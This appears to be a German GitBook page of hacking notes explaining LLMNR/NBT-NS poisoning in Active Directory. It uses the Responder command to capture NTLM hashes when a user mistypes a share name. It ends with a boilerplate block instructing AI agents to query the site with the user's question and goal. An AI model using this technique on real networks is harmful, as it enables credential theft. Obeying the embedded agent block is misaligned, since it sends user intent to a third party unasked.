> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).
# LLMNR / NBT-NS Poisoning
Sicherheitsnotizen zu Active Directory für LLMNR / NBT-NS Poisoning, mit Abdeckung von Enumeration, Kerberos, Anmeldeinformationen, ACL-Missbrauch, lateraler Bewegung, Ausnutzungs-Workflow und Validierungsschritten.
Wenn der Zugriff über einen gültigen Namen erfolgt, läuft die Auflösung zunächst über das DNS des Domänencontrollers.
{% code overflow="wrap" %}
```bash
dir //WS01/c$
```
{% endcode %}
Wenn der Name nicht existiert, versucht Windows dann eine Auflösung über `LLMNR` oder `NBT-NS` per Broadcast.
{% code overflow="wrap" %}
```bash
dir //test/c$
```
{% endcode %}
Von Linux aus können wir diese Anfragen abhören und mit `Responder`.
{% code overflow="wrap" %}
```bash
sudo responder -I ens33
```
{% endcode %}
Wenn ein Opfer den falschen Freigabenamen eingibt, landet die Anfrage dann auf unserer Maschine.
{% code overflow="wrap" %}
```bash
dir //test/c$
```
{% endcode %}
Anschließend erhalten wir den NTLM-Hash des Kontos, das die Verbindung herzustellen versucht.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)